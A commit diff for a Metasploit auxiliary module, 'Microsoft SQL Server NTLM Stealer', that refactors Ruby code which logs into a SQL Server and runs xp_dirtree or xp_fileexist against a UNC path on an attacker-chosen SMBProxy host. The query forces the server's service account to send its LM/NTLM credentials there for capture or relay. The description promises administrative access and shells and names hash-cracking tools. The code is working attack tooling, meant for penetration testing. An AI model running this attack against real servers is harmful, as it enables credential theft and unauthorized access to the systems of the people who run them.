Merge pull request #1 from jvazquez-r7/nullbind_test1

Looks good and works as excepted. Thanks for the updates!
- jvazquez-r7 did some nice clean up

modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb

@@ -4,29 +4,25 @@ class Metasploit3 < Msf::Auxiliary
 
 	include Msf::Exploit::Remote::MSSQL
 	include Msf::Auxiliary::Scanner
-	include Rex::Text
 
 	def initialize(info = {})
 		super(update_info(info,
 			'Name'           => 'Microsoft SQL Server NTLM Stealer',
 			'Description'    => %q{
-				This module can be used to help capture or relay the LM/NTLM
+					This module can be used to help capture or relay the LM/NTLM credentials of the
-				credentials of the account running the remote SQL Server service.
+				account running the remote SQL Server service. The module will use the supplied
-				The module will use the supplied credentials to connect to the
+				credentials to connect to the target SQL Server instance and execute the native
-				target SQL Server instance and execute the native "xp_dirtree" or
+				"xp_dirtree" or "xp_fileexist" stored procedure.   The stored procedures will then
-				"xp_fileexist" stored procedure.   The stored procedures will then
+				force the service account to authenticate to the system defined in the SMBProxy
-				force the service account to authenticate to the system defined in
+				option. In order for the attack to be successful, the SMB capture or relay module
-				the SMBProxy option. In order for the attack to be successful, the
+				must be running on the system defined as the SMBProxy.  The database account used
-				SMB capture or relay module must be running on the system defined
+				to connect to the database should only require the "PUBLIC" role to execute.
-				as the SMBProxy.  The database account used to connect to the
+				Successful execution of this attack usually results in local administrative access
-				database should only require the "PUBLIC" role to execute.
+				to the Windows system.  Specifically, this works great for relaying credentials
-				Successful execution of this attack usually results in local
+				between two SQL Servers using a shared service account to get shells.  However, if
-				administrative access to the Windows system.  Specifically, this
+				the relay fails, then the LM hash can be reversed using the Halflm rainbow tables
-				works great for relaying credentials between two SQL Servers using
+				and john the ripper. Thanks to "Sh2kerr" who wrote the ora_ntlm_stealer for the
-				a shared service account to get shells.  However, if the relay fails,
+				inspiration.
-				then the LM hash can be reversed using the Halflm rainbow tables and
-				john the ripper. Thanks to "Sh2kerr" who wrote the ora_ntlm_stealer
-				for the inspiration.
 			},
 			'Author'         => [ 'nullbind <scott.sutherland[at]netspi.com>' ],
 			'License'        => MSF_LICENSE,
@@ -45,43 +41,39 @@ class Metasploit3 < Msf::Auxiliary
 		# Reminder
 		print_status("DONT FORGET to run a SMB capture or relay module!")
 
-		# Set default result (fail)
-		result = 0
-
 		# Call auth_force method to execute "xp_dirtree"
-		result = force_auth("xp_dirtree",datastore['SMBPROXY'],rhost,rport)
+		begin
+			force_auth("xp_dirtree",datastore['SMBPROXY'])
+			return
+		rescue
+			print_error("xp_dirtree failed to initiate authentication to smbproxy.")
+		end
 
 		# Call auth_force method to execute "xp_fileexist" if "xp_dirtree" fails
-		if result == 0 then
+		begin
-			force_auth("xp_fileexist",datastore['SMBPROXY'],rhost,rport)
+			force_auth("xp_fileexist",datastore['SMBPROXY'])
-		end
+			return
+		rescue
+			print_error("xp_fileexist failed to initiate authentication to smbproxy.")
 		end
 
+	end
 
-	# --------------------------------------------
 	# Method to force sql server to authenticate
-	# --------------------------------------------
+	def force_auth(sprocedure,smbproxy)
-	def force_auth(sprocedure,smbproxy,vic,vicport)
 
-		print_status("Forcing SQL Server at #{vic} to auth to #{smbproxy} via #{sprocedure}...")
+		print_status("Forcing SQL Server at #{rhost} to auth to #{smbproxy} via #{sprocedure}...")
 
 		# Generate random file name
 		rand_filename = Rex::Text.rand_text_alpha(8, bad='')
 
 		# Setup query
 		sql = "#{sprocedure} '\\\\#{smbproxy}\\#{rand_filename}'"
-
-		# Execute query
-		begin
 		result = mssql_query(sql, false) if mssql_login_datastore
 		column_data = result[:rows]
 		print_good("Successfully executed #{sprocedure} on #{rhost}")
 		print_good("Go check your SMB relay or capture module for goodies!")
-			return 1
+
-		rescue
-			print_error("#{sprocedure} failed to initiate authentication to smbproxy.")
-			return 0
-		end
 	end
 
 end